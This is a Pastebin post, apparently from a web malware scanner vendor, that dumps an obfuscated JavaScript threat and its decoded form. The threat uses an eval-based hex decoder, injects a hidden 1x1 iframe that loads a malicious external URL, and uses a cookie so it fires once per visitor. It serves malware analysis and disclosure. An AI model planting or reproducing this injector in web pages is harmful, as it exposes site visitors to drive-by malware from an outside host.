SHARE
TWEET

Quttera web malware scanner detected obfuscated JS threat

a guest Jul 27th, 2013 69 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * Quttera web malware scanner detected obfuscated code injecting hidden iframe to malicious URL
  3.  * http://rock-reform[.]info/js/esd.php
  4.  */
  5.  
  6. /*
  7.  * original threat dump
  8.  */
  9. ps = "split";
  10. e = eval;
  11. v = "0x";
  12. a = 0;
  13. z = "y";
  14. try {
  15.     a *= 25
  16. } catch (zz) {
  17.     a = 1
  18. }
  19. if (!a)
  20. {
  21.     try {
  22.         --e("doc" + "ument")["\x62od" + z]
  23.     } catch (q) {
  24.         a2 = "_";
  25.         sa = 0xa - 02;
  26.     }
  27.  
  28. z = "28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_75_74_81_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_75_74_81_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_7a_77_6b_73_35_7a_6d_6e_77_7a_75_36_71_76_6e_77_37_72_7b_37_6d_7b_6c_36_78_70_78_2f_43_15_12_28_75_74_81_36_7b_7c_81_74_6d_36_78_77_7b_71_7c_71_77_76_28_45_28_2f_69_6a_7b_77_74_7d_7c_6d_2f_43_15_12_28_75_74_81_36_7b_7c_81_74_6d_36_6a_77_7a_6c_6d_7a_28_45_28_2f_38_2f_43_15_12_28_75_74_81_36_7b_7c_81_74_6d_36_70_6d_71_6f_70_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_75_74_81_36_7b_7c_81_74_6d_36_7f_71_6c_7c_70_28_45_28_2f_39_78_80_2f_43_15_12_28_75_74_81_36_7b_7c_81_74_6d_36_74_6d_6e_7c_28_45_28_2f_39_78_80_2f_43_15_12_28_75_74_81_36_7b_7c_81_74_6d_36_7c_77_78_28_45_28_2f_39_78_80_2f_43_15_12_15_12_28_71_6e_28_30_29_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_75_74_81_2f_31_31_28_83_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_7f_7a_71_7c_6d_30_2f_44_6c_71_7e_28_71_6c_45_64_2f_75_74_81_64_2f_46_44_37_6c_71_7e_46_2f_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6f_6d_7c_4d_74_6d_75_6d_76_7c_4a_81_51_6c_30_2f_75_74_81_2f_31_36_69_78_78_6d_76_6c_4b_70_71_74_6c_30_75_74_81_31_43_15_12_28_85_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_5b_6d_7c_4b_77_77_73_71_6d_30_6b_77_77_73_71_6d_56_69_75_6d_34_6b_77_77_73_71_6d_5e_69_74_7d_6d_34_76_4c_69_81_7b_34_78_69_7c_70_31_28_83_15_12_28_7e_69_7a_28_7c_77_6c_69_81_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_7e_69_7a_28_6d_80_78_71_7a_6d_28_45_28_76_6d_7f_28_4c_69_7c_6d_30_31_43_15_12_28_71_6e_28_30_76_4c_69_81_7b_45_45_76_7d_74_74_28_84_84_28_76_4c_69_81_7b_45_45_38_31_28_76_4c_69_81_7b_45_39_43_15_12_28_6d_80_78_71_7a_6d_36_7b_6d_7c_5c_71_75_6d_30_7c_77_6c_69_81_36_6f_6d_7c_5c_71_75_6d_30_31_28_33_28_3b_3e_38_38_38_38_38_32_3a_3c_32_76_4c_69_81_7b_31_43_15_12_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_28_45_28_6b_77_77_73_71_6d_56_69_75_6d_33_2a_45_2a_33_6d_7b_6b_69_78_6d_30_6b_77_77_73_71_6d_5e_69_74_7d_6d_31_15_12_28_33_28_2a_43_6d_80_78_71_7a_6d_7b_45_2a_28_33_28_6d_80_78_71_7a_6d_36_7c_77_4f_55_5c_5b_7c_7a_71_76_6f_30_31_28_33_28_30_30_78_69_7c_70_31_28_47_28_2a_43_28_78_69_7c_70_45_2a_28_33_28_78_69_7c_70_28_42_28_2a_2a_31_43_15_12_85_15_12_6e_7d_76_6b_7c_71_77_76_28_4f_6d_7c_4b_77_77_73_71_6d_30_28_76_69_75_6d_28_31_28_83_15_12_28_7e_69_7a_28_7b_7c_69_7a_7c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_76_69_75_6d_28_33_28_2a_45_2a_28_31_43_15_12_28_7e_69_7a_28_74_6d_76_28_45_28_7b_7c_69_7a_7c_28_33_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_33_28_39_43_15_12_28_71_6e_28_30_28_30_28_29_7b_7c_69_7a_7c_28_31_28_2e_2e_15_12_28_30_28_76_69_75_6d_28_29_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_38_34_28_76_69_75_6d_36_74_6d_76_6f_7c_70_28_31_28_31_28_31_15_12_28_83_15_12_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_85_15_12_28_71_6e_28_30_28_7b_7c_69_7a_7c_28_45_45_28_35_39_28_31_28_7a_6d_7c_7d_7a_76_28_76_7d_74_74_43_15_12_28_7e_69_7a_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_71_76_6c_6d_80_57_6e_30_28_2a_43_2a_34_28_74_6d_76_28_31_43_15_12_28_71_6e_28_30_28_6d_76_6c_28_45_45_28_35_39_28_31_28_6d_76_6c_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_74_6d_76_6f_7c_70_43_15_12_28_7a_6d_7c_7d_7a_76_28_7d_76_6d_7b_6b_69_78_6d_30_28_6c_77_6b_7d_75_6d_76_7c_36_6b_77_77_73_71_6d_36_7b_7d_6a_7b_7c_7a_71_76_6f_30_28_74_6d_76_34_28_6d_76_6c_28_31_28_31_43_15_12_85_15_12_71_6e_28_30_76_69_7e_71_6f_69_7c_77_7a_36_6b_77_77_73_71_6d_4d_76_69_6a_74_6d_6c_31_15_12_83_15_12_71_6e_30_4f_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_31_45_45_3d_3d_31_83_85_6d_74_7b_6d_83_5b_6d_7c_4b_77_77_73_71_6d_30_2f_7e_71_7b_71_7c_6d_6c_67_7d_79_2f_34_28_2f_3d_3d_2f_34_28_2f_39_2f_34_28_2f_37_2f_31_43_15_12_15_12_82_82_82_6e_6e_6e_30_31_43_15_12_85_15_12_85_15_12" [ps](a2);
  29. za = "";
  30. for (i = 0; i < z.length; i++)
  31. {
  32.     za += String["fromCharCode"](e(v + (z[i])) - sa);
  33. }
  34.     zaz = za;
  35.     e(zaz);
  36. }
  37.  
  38.  
  39. /*
  40.  * de-obfuscated threat
  41.  */
  42.  function zzzfff() {
  43.  
  44.      var mly = document.createElement('iframe');
  45.      mly.src = 'http://rock-reform.info/js/esd.php';
  46.      mly.style.position = 'absolute';
  47.      mly.style.border = '0';
  48.      mly.style.height = '1px';
  49.      mly.style.width = '1px';
  50.      mly.style.left = '1px';
  51.      mly.style.top = '1px';
  52.  
  53.  
  54.      if (!document.getElementById('mly')) {
  55.          document.write('<div id=\'mly\'></div>');
  56.          document.getElementById('mly').appendChild(mly);
  57.      }
  58.  
  59.  }
  60.  
  61.  
  62.  function SetCookie(cookieName, cookieValue, nDays, path) {
  63.      var today = new Date();
  64.      var expire = new Date();
  65.      if (nDays == null || nDays == 0) nDays = 1;
  66.      expire.setTime(today.getTime() + 3600000 * 24 * nDays);
  67.      document.cookie = cookieName + "=" + escape(cookieValue)
  68.      + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
  69.  
  70.  }
  71.  
  72.  function GetCookie(name) {
  73.      var start = document.cookie.indexOf(name + "=");
  74.      var len = start + name.length + 1;
  75.      if ((!start) && (name != document.cookie.substring(0, name.length)))
  76.      {
  77.          return null;
  78.      }
  79.  
  80.      if (start == -1) return null;
  81.  
  82.      var end = document.cookie.indexOf(";", len);
  83.  
  84.      if (end == -1) end = document.cookie.length;
  85.  
  86.      return unescape(document.cookie.substring(len, end));
  87.  }
  88.  
  89.  
  90.  if (navigator.cookieEnabled)
  91.  {
  92.  
  93.      if (GetCookie('visited_uq') == 55) {
  94.          /* if cookie found do nothing, this is not unique visitor */
  95.      }
  96.      else
  97.      {
  98.          /* set cookie and inject hidden iframe to
  99.          SetCookie('visited_uq', '55', '1', '/');
  100.          zzzfff();
  101.      }
  102.  }
RAW Paste Data
Want to get better at JavaScript?
Learn to code JavaScript in 2017
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top